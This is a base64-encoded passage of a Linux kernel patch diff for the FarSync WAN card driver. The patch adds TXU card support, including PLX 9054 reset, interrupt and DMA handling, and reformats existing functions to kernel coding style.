PSB3b3JrX2ludHEgPj4gMTsKKwl9Cit9CiAKIC8qICAgICAgQ2FyZCBjb250cm9sIGZ1bmN0aW9u cwogICogICAgICA9PT09PT09PT09PT09PT09PT09PT09CkBAIC00MzYsMTAwMiArNjcwLDE3MDkg QEAKICAqIFVzZWQgdG8gYmUgYSBzaW1wbGUgd3JpdGUgdG8gY2FyZCBjb250cm9sIHNwYWNlIGJ1 dCBhIGdsaXRjaCBpbiB0aGUgbGF0ZXN0CiAgKiBBTUQgQW0xODZDSCBwcm9jZXNzb3IgbWVhbnMg dGhhdCB3ZSBub3cgaGF2ZSB0byBkbyBpdCBieSBhc3NlcnRpbmcgYW5kIGRlLQogICogYXNzZXJ0 aW5nIHRoZSBQTFggY2hpcCBQQ0kgQWRhcHRlciBTb2Z0d2FyZSBSZXNldC4gQml0IDMwIGluIENO VFJMIHJlZ2lzdGVyCi0gKiBhdCBvZmZzZXQgMHg1MC4KKyAqIGF0IG9mZnNldCA5MDUyX0NOVFJM LiAgTm90ZSB0aGUgdXBkYXRlcyBmb3IgdGhlIFRYVS4KICAqLwogc3RhdGljIGlubGluZSB2b2lk Ci1mc3RfY3B1cmVzZXQgKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCApCitmc3RfY3B1cmVz ZXQoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQpCiB7Ci0gICAgICAgIHVuc2lnbmVkIGludCBy ZWd2YWw7CisJdW5zaWduZWQgY2hhciBpbnRlcnJ1cHRfbGluZV9yZWdpc3RlcjsKKwl1bnNpZ25l ZCBsb25nIGogPSBqaWZmaWVzICsgMTsKKwl1bnNpZ25lZCBpbnQgcmVndmFsOworCisJaWYgKGNh cmQtPmZhbWlseSA9PSBGU1RfRkFNSUxZX1RYVSkgeworCQlpZiAocGNpX3JlYWRfY29uZmlnX2J5 dGUKKwkJICAgIChjYXJkLT5kZXZpY2UsIFBDSV9JTlRFUlJVUFRfTElORSwgJmludGVycnVwdF9s aW5lX3JlZ2lzdGVyKSkgeworCQkJZGJnKERCR19BU1MsCisJCQkgICAgIkVycm9yIGluIHJlYWRp bmcgaW50ZXJydXB0IGxpbmUgcmVnaXN0ZXJcbiIpOworCQl9CisJCS8qCisJCSAqIEFzc2VydCBQ TFggc29mdHdhcmUgcmVzZXQgYW5kIEFtMTg2IGhhcmR3YXJlIHJlc2V0CisJCSAqIGFuZCB0aGVu IGRlYXNzZXJ0IHRoZSBQTFggc29mdHdhcmUgcmVzZXQgYnV0IDE4NiBzdGlsbCBpbiByZXNldAor CQkgKi8KKwkJb3V0dygweDQ0MGYsIGNhcmQtPnBjaV9jb25mICsgQ05UUkxfOTA1NCArIDIpOwor CQlvdXR3KDB4MDQwZiwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDU0ICsgMik7CisJCS8qCisJ CSAqIFdlIGFyZSBkZWxheWluZyBoZXJlIHRvIGFsbG93IHRoZSA5MDU0IHRvIHJlc2V0IGl0c2Vs ZgorCQkgKi8KKwkJaiA9IGppZmZpZXMgKyAxOworCQl3aGlsZSAoamlmZmllcyA8IGopCisJCQkv KiBEbyBub3RoaW5nICovIDsKKwkJb3V0dygweDI0MGYsIGNhcmQtPnBjaV9jb25mICsgQ05UUkxf OTA1NCArIDIpOworCQkvKgorCQkgKiBXZSBhcmUgZGVsYXlpbmcgaGVyZSB0byBhbGxvdyB0aGUg OTA1NCB0byByZWxvYWQgaXRzIGVlcHJvbQorCQkgKi8KKwkJaiA9IGppZmZpZXMgKyAxOworCQl3 aGlsZSAoamlmZmllcyA8IGopCisJCQkvKiBEbyBub3RoaW5nICovIDsKKwkJb3V0dygweDA0MGYs IGNhcmQtPnBjaV9jb25mICsgQ05UUkxfOTA1NCArIDIpOworCisJCWlmIChwY2lfd3JpdGVfY29u ZmlnX2J5dGUKKwkJICAgIChjYXJkLT5kZXZpY2UsIFBDSV9JTlRFUlJVUFRfTElORSwgaW50ZXJy dXB0X2xpbmVfcmVnaXN0ZXIpKSB7CisJCQlkYmcoREJHX0FTUywKKwkJCSAgICAiRXJyb3IgaW4g d3JpdGluZyBpbnRlcnJ1cHQgbGluZSByZWdpc3RlclxuIik7CisJCX0KIAotICAgICAgICByZWd2 YWwgPSBpbmwgKCBjYXJkLT5wY2lfY29uZiArIDB4NTAgKTsKKwl9IGVsc2UgeworCQlyZWd2YWwg PSBpbmwoY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDUyKTsKIAotICAgICAgICBvdXRsICggcmVn dmFsIHwgIDB4NDAwMDAwMDAsIGNhcmQtPnBjaV9jb25mICsgMHg1MCApOwotICAgICAgICBvdXRs ICggcmVndmFsICYgfjB4NDAwMDAwMDAsIGNhcmQtPnBjaV9jb25mICsgMHg1MCApOworCQlvdXRs KHJlZ3ZhbCB8IDB4NDAwMDAwMDAsIGNhcmQtPnBjaV9jb25mICsgQ05UUkxfOTA1Mik7CisJCW91 dGwocmVndmFsICYgfjB4NDAwMDAwMDAsIGNhcmQtPnBjaV9jb25mICsgQ05UUkxfOTA1Mik7CisJ fQogfQogCiAvKiAgICAgIFJlbGVhc2UgdGhlIHByb2Nlc3NvciBmcm9tIHJlc2V0CiAgKi8KIHN0 YXRpYyBpbmxpbmUgdm9pZAotZnN0X2NwdXJlbGVhc2UgKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAq Y2FyZCApCitmc3RfY3B1cmVsZWFzZShzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCkKIHsKLSAg ICAgICAgKHZvaWQpIHJlYWRiICggY2FyZC0+Y3RsbWVtICk7CisJaWYgKGNhcmQtPmZhbWlseSA9 PSBGU1RfRkFNSUxZX1RYVSkgeworCQkvKgorCQkgKiBGb3JjZSBwb3N0ZWQgd3JpdGVzIHRvIGNv bXBsZXRlCisJCSAqLworCQkodm9pZCkgcmVhZGIoY2FyZC0+bWVtKTsKKworCQkvKgorCQkgKiBS ZWxlYXNlIExSRVNFVCBETyA9IDEKKwkJICogVGhlbiByZWxlYXNlIExvY2FsIEhvbGQsIERPID0g MQorCQkgKi8KKwkJb3V0dygweDA0MGUsIGNhcmQtPnBjaV9jb25mICsgQ05UUkxfOTA1NCArIDIp OworCQlvdXR3KDB4MDQwZiwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDU0ICsgMik7CisJfSBl bHNlIHsKKwkJKHZvaWQpIHJlYWRiKGNhcmQtPmN0bG1lbSk7CisJfQogfQogCiAvKiAgICAgIENs ZWFyIHRoZSBjYXJkcyBpbnRlcnJ1cHQgZmxhZwogICovCiBzdGF0aWMgaW5saW5lIHZvaWQKLWZz dF9jbGVhcl9pbnRyICggc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQgKQorZnN0X2NsZWFyX2lu dHIoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQpCiB7Ci0gICAgICAgIC8qIFBva2UgdGhlIGFw cHJvcHJpYXRlIFBMWCBjaGlwIHJlZ2lzdGVyIChzYW1lIGFzIGVuYWJsaW5nIGludGVycnVwdHMp Ci0gICAgICAgICAqLwotICAgICAgICBvdXR3ICggMHgwNTQzLCBjYXJkLT5wY2lfY29uZiArIDB4 NEMgKTsKKwlpZiAoY2FyZC0+ZmFtaWx5ID09IEZTVF9GQU1JTFlfVFhVKSB7CisJCSh2b2lkKSBy ZWFkYihjYXJkLT5jdGxtZW0pOworCX0gZWxzZSB7CisJCS8qIFBva2UgdGhlIGFwcHJvcHJpYXRl IFBMWCBjaGlwIHJlZ2lzdGVyIChzYW1lIGFzIGVuYWJsaW5nIGludGVycnVwdHMpCisJCSAqLwor CQlvdXR3KDB4MDU0MywgY2FyZC0+cGNpX2NvbmYgKyBJTlRDU1JfOTA1Mik7CisJfQorfQorCisv KiAgICAgIEVuYWJsZSBjYXJkIGludGVycnVwdHMKKyAqLworc3RhdGljIGlubGluZSB2b2lkCitm c3RfZW5hYmxlX2ludHIoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQpCit7CisJaWYgKGNhcmQt PmZhbWlseSA9PSBGU1RfRkFNSUxZX1RYVSkgeworCQlvdXRsKDB4MGYwYzA5MDAsIGNhcmQtPnBj aV9jb25mICsgSU5UQ1NSXzkwNTQpOworCX0gZWxzZSB7CisJCW91dHcoMHgwNTQzLCBjYXJkLT5w Y2lfY29uZiArIElOVENTUl85MDUyKTsKKwl9CiB9CiAKIC8qICAgICAgRGlzYWJsZSBjYXJkIGlu dGVycnVwdHMKICAqLwogc3RhdGljIGlubGluZSB2b2lkCi1mc3RfZGlzYWJsZV9pbnRyICggc3Ry dWN0IGZzdF9jYXJkX2luZm8gKmNhcmQgKQorZnN0X2Rpc2FibGVfaW50cihzdHJ1Y3QgZnN0X2Nh cmRfaW5mbyAqY2FyZCkKIHsKLSAgICAgICAgb3V0dyAoIDB4MDAwMCwgY2FyZC0+cGNpX2NvbmYg KyAweDRDICk7CisJaWYgKGNhcmQtPmZhbWlseSA9PSBGU1RfRkFNSUxZX1RYVSkgeworCQlvdXRs KDB4MDAwMDAwMDAsIGNhcmQtPnBjaV9jb25mICsgSU5UQ1NSXzkwNTQpOworCX0gZWxzZSB7CisJ CW91dHcoMHgwMDAwLCBjYXJkLT5wY2lfY29uZiArIElOVENTUl85MDUyKTsKKwl9CiB9CiAKKy8q ICAgICAgUHJvY2VzcyB0aGUgcmVzdWx0IG9mIHRyeWluZyB0byBwYXNzIGEgcmVjaWV2ZWQgZnJh bWUgdXAgdGhlIHN0YWNrCisgKi8KK3N0YXRpYyB2b2lkCitmc3RfcHJvY2Vzc19yeF9zdGF0dXMo aW50IHJ4X3N0YXR1cywgY2hhciAqbmFtZSkKK3sKKwlzd2l0Y2ggKHJ4X3N0YXR1cykgeworCWNh c2UgTkVUX1JYX1NVQ0NFU1M6CisJCXsKKwkJCS8qCisJCQkgKiBOb3RoaW5nIHRvIGRvIGhlcmUK KwkJCSAqLworCQkJYnJlYWs7CisJCX0KKworCWNhc2UgTkVUX1JYX0NOX0xPVzoKKwkJeworCQkJ ZGJnKERCR19BU1MsICIlczogUmVjZWl2ZSBMb3cgQ29uZ2VzdGlvblxuIiwgbmFtZSk7CisJCQli cmVhazsKKwkJfQorCisJY2FzZSBORVRfUlhfQ05fTU9EOgorCQl7CisJCQlkYmcoREJHX0FTUywg IiVzOiBSZWNlaXZlIE1vZGVyYXRlIENvbmdlc3Rpb25cbiIsIG5hbWUpOworCQkJYnJlYWs7CisJ CX0KKworCWNhc2UgTkVUX1JYX0NOX0hJR0g6CisJCXsKKwkJCWRiZyhEQkdfQVNTLCAiJXM6IFJl Y2VpdmUgSGlnaCBDb25nZXN0aW9uXG4iLCBuYW1lKTsKKwkJCWJyZWFrOworCQl9CisKKwljYXNl IE5FVF9SWF9EUk9QOgorCQl7CisJCQlkYmcoREJHX0FTUywgIiVzOiBSZWNlaXZlZCBwYWNrZXQg ZHJvcHBlZFxuIiwgbmFtZSk7CisJCQlicmVhazsKKwkJfQorCX0KK30KKworLyogICAgICBJbml0 aWxhaXNlIERNQSBmb3IgUExYIDkwNTQKKyAqLworc3RhdGljIGlubGluZSB2b2lkCitmc3RfaW5p dF9kbWEoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQpCit7CisJLyoKKwkgKiBUaGlzIGlzIG9u bHkgcmVxdWlyZWQgZm9yIHRoZSBQTFggOTA1NAorCSAqLworCWlmIChjYXJkLT5mYW1pbHkgPT0g RlNUX0ZBTUlMWV9UWFUpIHsKKwkgICAgICAgIHBjaV9zZXRfbWFzdGVyKGNhcmQtPmRldmljZSk7 CisJCW91dGwoMHgwMDAyMDQ0MSwgY2FyZC0+cGNpX2NvbmYgKyBETUFNT0RFMCk7CisJCW91dGwo MHgwMDAyMDQ0MSwgY2FyZC0+cGNpX2NvbmYgKyBETUFNT0RFMSk7CisJCW91dGwoMHgwLCBjYXJk LT5wY2lfY29uZiArIERNQVRIUik7CisJfQorfQorCisvKiAgICAgIFR4IGRtYSBjb21wbGV0ZSBp bnRlcnJ1cHQKKyAqLworc3RhdGljIHZvaWQKK2ZzdF90eF9kbWFfY29tcGxldGUoc3RydWN0IGZz dF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCQkgICAgaW50 IGxlbiwgaW50IHR4cG9zKQoreworCS8qCisJICogRXZlcnl0aGluZyBpcyBub3cgc2V0LCBqdXN0 IHRlbGwgdGhlIGNhcmQgdG8gZ28KKwkgKi8KKwlkYmcoREJHX1RYLCAiZnN0X3R4X2RtYV9jb21w bGV0ZVxuIik7CisJRlNUX1dSQihjYXJkLCB0eERlc2NyUmluZ1twb3J0LT5pbmRleF1bdHhwb3Nd LmJpdHMsCisJCURNQV9PV04gfCBUWF9TVFAgfCBUWF9FTlApOworCXBvcnQtPmhkbGMuc3RhdHMu dHhfcGFja2V0cysrOworCXBvcnQtPmhkbGMuc3RhdHMudHhfYnl0ZXMgKz0gbGVuOworCXBvcnRf dG9fZGV2KHBvcnQpLT50cmFuc19zdGFydCA9IGppZmZpZXM7Cit9CisKKy8qICAgICAgUnggZG1h IGNvbXBsZXRlIGludGVycnVwdAorICovCitzdGF0aWMgdm9pZAorZnN0X3J4X2RtYV9jb21wbGV0 ZShzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQs CisJCSAgICBpbnQgbGVuLCBzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBpbnQgcnhwKQoreworCisJaW50 IHBpOworCWludCByeF9zdGF0dXM7CisKKwlkYmcoREJHX1RYLCAiZnN0X3J4X2RtYV9jb21wbGV0 ZVxuIik7CisJcGkgPSBwb3J0LT5pbmRleDsKKwltZW1jcHkoc2tiX3B1dChza2IsIGxlbiksIGNh cmQtPnJ4X2RtYV9oYW5kbGVfaG9zdCwgbGVuKTsKKworCS8qIFJlc2V0IGJ1ZmZlciBkZXNjcmlw dG9yICovCisJRlNUX1dSQihjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dO KTsKKworCS8qIFVwZGF0ZSBzdGF0cyAqLworCXBvcnQtPmhkbGMuc3RhdHMucnhfcGFja2V0cysr OworCXBvcnQtPmhkbGMuc3RhdHMucnhfYnl0ZXMgKz0gbGVuOworCisJLyogUHVzaCB1cHN0cmVh bSAqLworCWRiZyhEQkdfUlgsICJQdXNoaW5nIHRoZSBmcmFtZSB1cCB0aGUgc3RhY2tcbiIpOwor CXNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0YTsKKwlza2ItPmRldiA9IGhkbGNfdG9fZGV2KCZwb3J0 LT5oZGxjKTsKKwlpZiAocG9ydC0+bW9kZSA9PSBGU1RfUkFXKSB7CisJCS8qCisJCSAqIE1hcmsg aXQgZm9yIG91ciBvd24gcmF3IHNvY2tldHMgaW50ZXJmYWNlCisJCSAqLworCQlza2ItPnByb3Rv Y29sID0gaHRvbnMoRVRIX1BfQ1VTVCk7CisJCXNrYi0+cGt0X3R5cGUgPSBQQUNLRVRfSE9TVDsK Kwl9IGVsc2UgeworCQlza2ItPnByb3RvY29sID0gaGRsY190eXBlX3RyYW5zKHNrYiwgc2tiLT5k ZXYpOworCX0KKwlyeF9zdGF0dXMgPSBuZXRpZl9yeChza2IpOworCWZzdF9wcm9jZXNzX3J4X3N0 YXR1cyhyeF9zdGF0dXMsIHBvcnRfdG9fZGV2KHBvcnQpLT5uYW1lKTsKKwlpZiAocnhfc3RhdHVz ID09IE5FVF9SWF9EUk9QKQorCQlwb3J0LT5oZGxjLnN0YXRzLnJ4X2Ryb3BwZWQrKzsKKwlwb3J0 X3RvX2Rldihwb3J0KS0+bGFzdF9yeCA9IGppZmZpZXM7Cit9CisKKy8qCisgKiAgICAgIFJlY2Vp dmUgYSBmcmFtZSB0aHJvdWdoIHRoZSBETUEKKyAqLworc3RhdGljIGlubGluZSB2b2lkCitmc3Rf cnhfZG1hKHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCB1bnNpZ25lZCBjaGFyICpza2IsCisJ ICAgdW5zaWduZWQgY2hhciAqbWVtLCBpbnQgbGVuKQoreworCS8qCisJICogVGhpcyByb3V0aW5l IHdpbGwgc2V0dXAgdGhlIERNQSBhbmQgc3RhcnQgaXQKKwkgKi8KKworCWRiZyhEQkdfUlgsICJJ biBmc3RfcnhfZG1hICVwICVwICVkXG4iLCBza2IsIG1lbSwgbGVuKTsKKwlpZiAoY2FyZC0+ZG1h cnhfaW5fcHJvZ3Jlc3MpIHsKKwkJZGJnKERCR19BU1MsICJJbiBmc3RfcnhfZG1hIHdoaWxlIGRt YSBpbiBwcm9ncmVzc1xuIik7CisJfQorCisJb3V0bCgodW5zaWduZWQgbG9uZykgc2tiLCBjYXJk LT5wY2lfY29uZiArIERNQVBBRFIwKTsJLyogQ29weSB0byBoZXJlICovCisJb3V0bCgodW5zaWdu ZWQgbG9uZykgbWVtLCBjYXJkLT5wY2lfY29uZiArIERNQUxBRFIwKTsJLyogZnJvbSBoZXJlICov CisJb3V0bChsZW4sIGNhcmQtPnBjaV9jb25mICsgRE1BU0laMCk7CS8qIGZvciB0aGlzIGxlbmd0 aCAqLworCW91dGwoMHgwMDAwMDAwMGMsIGNhcmQtPnBjaV9jb25mICsgRE1BRFBSMCk7CS8qIElu IHRoaXMgZGlyZWN0aW9uICovCisKKwkvKgorCSAqIFdlIHVzZSB0aGUgZG1hcnhfaW5fcHJvZ3Jl c3MgZmxhZyB0byBmbGFnIHRoZSBjaGFubmVsIGFzIGJ1c3kKKwkgKi8KKwljYXJkLT5kbWFyeF9p bl9wcm9ncmVzcyA9IDE7CisJb3V0YigweDAzLCBjYXJkLT5wY2lfY29uZiArIERNQUNTUjApOwkv KiBTdGFydCB0aGUgdHJhbnNmZXIgKi8KK30KKworLyoKKyAqICAgICAgU2VuZCBhIGZyYW1lIHRo cm91Z2ggdGhlIERNQQorICovCitzdGF0aWMgaW5saW5lIHZvaWQKK2ZzdF90eF9kbWEoc3RydWN0 IGZzdF9jYXJkX2luZm8gKmNhcmQsIHVuc2lnbmVkIGNoYXIgKnNrYiwKKwkgICB1bnNpZ25lZCBj aGFyICptZW0sIGludCBsZW4pCit7CisJLyoKKwkgKiBUaGlzIHJvdXRpbmUgd2lsbCBzZXR1cCB0 aGUgRE1BIGFuZCBzdGFydCBpdC4KKwkgKi8KKworCWRiZyhEQkdfVFgsICJJbiBmc3RfdHhfZG1h ICVwICVwICVkXG4iLCBza2IsIG1lbSwgbGVuKTsKKwlpZiAoY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jl c3MpIHsKKwkJZGJnKERCR19BU1MsICJJbiBmc3RfdHhfZG1hIHdoaWxlIGRtYSBpbiBwcm9ncmVz c1xuIik7CisJfQorCisJb3V0bCgodW5zaWduZWQgbG9uZykgc2tiLCBjYXJkLT5wY2lfY29uZiAr IERNQVBBRFIxKTsJLyogQ29weSBmcm9tIGhlcmUgKi8KKwlvdXRsKCh1bnNpZ25lZCBsb25nKSBt ZW0sIGNhcmQtPnBjaV9jb25mICsgRE1BTEFEUjEpOwkvKiB0byBoZXJlICovCisJb3V0bChsZW4s IGNhcmQtPnBjaV9jb25mICsgRE1BU0laMSk7CS8qIGZvciB0aGlzIGxlbmd0aCAqLworCW91dGwo MHgwMDAwMDAwMDQsIGNhcmQtPnBjaV9jb25mICsgRE1BRFBSMSk7CS8qIEluIHRoaXMgZGlyZWN0 aW9uICovCisKKwkvKgorCSAqIFdlIHVzZSB0aGUgZG1hdHhfaW5fcHJvZ3Jlc3MgdG8gZmxhZyB0 aGUgY2hhbm5lbCBhcyBidXN5CisJICovCisJY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jlc3MgPSAxOwor CW91dGIoMHgwMywgY2FyZC0+cGNpX2NvbmYgKyBETUFDU1IxKTsJLyogU3RhcnQgdGhlIHRyYW5z ZmVyICovCit9CiAKIC8qICAgICAgSXNzdWUgYSBNYWlsYm94IGNvbW1hbmQgZm9yIGEgcG9ydC4K ICAqICAgICAgTm90ZSB3ZSBpc3N1ZSB0aGVtIG9uIGEgZmlyZSBhbmQgZm9yZ2V0IGJhc2lzLCBu b3QgZXhwZWN0aW5nIHRvIHNlZSBhbgogICogICAgICBlcnJvciBhbmQgbm90IHdhaXRpbmcgZm9y IGNvbXBsZXRpb24uCiAgKi8KIHN0YXRpYyB2b2lkCi1mc3RfaXNzdWVfY21kICggc3RydWN0IGZz dF9wb3J0X2luZm8gKnBvcnQsIHVuc2lnbmVkIHNob3J0IGNtZCApCitmc3RfaXNzdWVfY21kKHN0 cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LCB1bnNpZ25lZCBzaG9ydCBjbWQpCiB7Ci0gICAgICAg IHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICB1bnNpZ25lZCBzaG9ydCBtYnZh bDsKLSAgICAgICAgdW5zaWduZWQgbG9uZyBmbGFnczsKLSAgICAgICAgaW50IHNhZmV0eTsKLQot ICAgICAgICBjYXJkID0gcG9ydC0+Y2FyZDsKLSAgICAgICAgc3Bpbl9sb2NrX2lycXNhdmUgKCAm Y2FyZC0+Y2FyZF9sb2NrLCBmbGFncyApOwotICAgICAgICBtYnZhbCA9IEZTVF9SRFcgKCBjYXJk LCBwb3J0TWFpbGJveFtwb3J0LT5pbmRleF1bMF0pOwotCi0gICAgICAgIHNhZmV0eSA9IDA7Ci0g ICAgICAgIC8qIFdhaXQgZm9yIGFueSBwcmV2aW91cyBjb21tYW5kIHRvIGNvbXBsZXRlICovCi0g ICAgICAgIHdoaWxlICggbWJ2YWwgPiBOQUsgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAg c3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAg ICAgICAgICAgICAgc2NoZWR1bGVfdGltZW91dCAoIDEgKTsKLSAgICAgICAgICAgICAgICBzcGlu X2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0KLSAgICAgICAgICAg ICAgICBpZiAoICsrc2FmZXR5ID4gMTAwMCApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAg ICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIk1haWxib3ggc2FmZXR5IHRpbWVvdXRcbiIpOwot ICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgICAgICAgICAgfQotCi0gICAg ICAgICAgICAgICAgbWJ2YWwgPSBGU1RfUkRXICggY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5k ZXhdWzBdKTsKLSAgICAgICAgfQotICAgICAgICBpZiAoIHNhZmV0eSA+IDAgKQotICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgZGJnICggREJHX0NNRCwiTWFpbGJveCBjbGVhciBhZnRlciAlZCBq aWZmaWVzXG4iLCBzYWZldHkgKTsKLSAgICAgICAgfQotICAgICAgICBpZiAoIG1idmFsID09IE5B SyApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfQ01ELCJpc3N1ZV9jbWQ6 IHByZXZpb3VzIGNvbW1hbmQgd2FzIE5BSydkXG4iKTsKLSAgICAgICAgfQotCi0gICAgICAgIEZT VF9XUlcgKCBjYXJkLCBwb3J0TWFpbGJveFtwb3J0LT5pbmRleF1bMF0sIGNtZCApOwotCi0gICAg ICAgIGlmICggY21kID09IEFCT1JUVFggfHwgY21kID09IFNUQVJUUE9SVCApCi0gICAgICAgIHsK LSAgICAgICAgICAgICAgICBwb3J0LT50eHBvcyAgPSAwOwotICAgICAgICAgICAgICAgIHBvcnQt PnR4aXBvcyA9IDA7Ci0gICAgICAgICAgICAgICAgcG9ydC0+dHhjbnQgID0gMDsKLSAgICAgICAg fQorCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXVuc2lnbmVkIHNob3J0IG1idmFsOwor CXVuc2lnbmVkIGxvbmcgZmxhZ3M7CisJaW50IHNhZmV0eTsKKworCWNhcmQgPSBwb3J0LT5jYXJk OworCXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKwltYnZhbCA9 IEZTVF9SRFcoY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhdWzBdKTsKKworCXNhZmV0eSA9 IDA7CisJLyogV2FpdCBmb3IgYW55IHByZXZpb3VzIGNvbW1hbmQgdG8gY29tcGxldGUgKi8KKwl3 aGlsZSAobWJ2YWwgPiBOQUspIHsKKwkJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2Fy ZF9sb2NrLCBmbGFncyk7CisJCXNjaGVkdWxlX3RpbWVvdXQoMSk7CisJCXNwaW5fbG9ja19pcnFz YXZlKCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKworCQlpZiAoKytzYWZldHkgPiAyMDAwKSB7 CisJCQlwcmludGtfZXJyKCJNYWlsYm94IHNhZmV0eSB0aW1lb3V0XG4iKTsKKwkJCWJyZWFrOwor CQl9CiAKLSAgICAgICAgc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ss IGZsYWdzICk7Ci19CisJCW1idmFsID0gRlNUX1JEVyhjYXJkLCBwb3J0TWFpbGJveFtwb3J0LT5p bmRleF1bMF0pOworCX0KKwlpZiAoc2FmZXR5ID4gMCkgeworCQlkYmcoREJHX0NNRCwgIk1haWxi b3ggY2xlYXIgYWZ0ZXIgJWQgamlmZmllc1xuIiwgc2FmZXR5KTsKKwl9CisJaWYgKG1idmFsID09 IE5BSykgeworCQlkYmcoREJHX0NNRCwgImlzc3VlX2NtZDogcHJldmlvdXMgY29tbWFuZCB3YXMg TkFLJ2RcbiIpOworCX0KKworCUZTVF9XUlcoY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhd WzBdLCBjbWQpOwogCisJaWYgKGNtZCA9PSBBQk9SVFRYIHx8IGNtZCA9PSBTVEFSVFBPUlQpIHsK KwkJcG9ydC0+dHhwb3MgPSAwOworCQlwb3J0LT50eGlwb3MgPSAwOworCQlwb3J0LT5zdGFydCA9 IDA7CisJfQorCisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFn cyk7Cit9CiAKIC8qICAgICAgUG9ydCBvdXRwdXQgc2lnbmFscyBjb250cm9sCiAgKi8KIHN0YXRp YyBpbmxpbmUgdm9pZAotZnN0X29wX3JhaXNlICggc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQs IHVuc2lnbmVkIGludCBvdXRwdXRzICkKK2ZzdF9vcF9yYWlzZShzdHJ1Y3QgZnN0X3BvcnRfaW5m byAqcG9ydCwgdW5zaWduZWQgaW50IG91dHB1dHMpCiB7Ci0gICAgICAgIG91dHB1dHMgfD0gRlNU X1JETCAoIHBvcnQtPmNhcmQsIHYyNE9wU3RzW3BvcnQtPmluZGV4XSk7Ci0gICAgICAgIEZTVF9X UkwgKCBwb3J0LT5jYXJkLCB2MjRPcFN0c1twb3J0LT5pbmRleF0sIG91dHB1dHMgKTsKKwlvdXRw dXRzIHw9IEZTVF9SREwocG9ydC0+Y2FyZCwgdjI0T3BTdHNbcG9ydC0+aW5kZXhdKTsKKwlGU1Rf V1JMKHBvcnQtPmNhcmQsIHYyNE9wU3RzW3BvcnQtPmluZGV4XSwgb3V0cHV0cyk7CiAKLSAgICAg ICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAgICAgICAgICAgIGZzdF9pc3N1ZV9jbWQgKCBwb3J0 LCBTRVRWMjRPICk7CisJaWYgKHBvcnQtPnJ1bikKKwkJZnN0X2lzc3VlX2NtZChwb3J0LCBTRVRW MjRPKTsKIH0KIAogc3RhdGljIGlubGluZSB2b2lkCi1mc3Rfb3BfbG93ZXIgKCBzdHJ1Y3QgZnN0 X3BvcnRfaW5mbyAqcG9ydCwgdW5zaWduZWQgaW50IG91dHB1dHMgKQorZnN0X29wX2xvd2VyKHN0 cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LCB1bnNpZ25lZCBpbnQgb3V0cHV0cykKIHsKLSAgICAg ICAgb3V0cHV0cyA9IH5vdXRwdXRzICYgRlNUX1JETCAoIHBvcnQtPmNhcmQsIHYyNE9wU3RzW3Bv cnQtPmluZGV4XSk7Ci0gICAgICAgIEZTVF9XUkwgKCBwb3J0LT5jYXJkLCB2MjRPcFN0c1twb3J0 LT5pbmRleF0sIG91dHB1dHMgKTsKKwlvdXRwdXRzID0gfm91dHB1dHMgJiBGU1RfUkRMKHBvcnQt PmNhcmQsIHYyNE9wU3RzW3BvcnQtPmluZGV4XSk7CisJRlNUX1dSTChwb3J0LT5jYXJkLCB2MjRP cFN0c1twb3J0LT5pbmRleF0sIG91dHB1dHMpOwogCi0gICAgICAgIGlmICggcG9ydC0+cnVuICkK LSAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21kICggcG9ydCwgU0VUVjI0TyApOworCWlmIChw b3J0LT5ydW4pCisJCWZzdF9pc3N1ZV9jbWQocG9ydCwgU0VUVjI0Tyk7CiB9CiAKLQogLyoKICAq ICAgICAgU2V0dXAgcG9ydCBSeCBidWZmZXJzCiAgKi8KIHN0YXRpYyB2b2lkCi1mc3RfcnhfY29u ZmlnICggc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQgKQorZnN0X3J4X2NvbmZpZyhzdHJ1Y3Qg 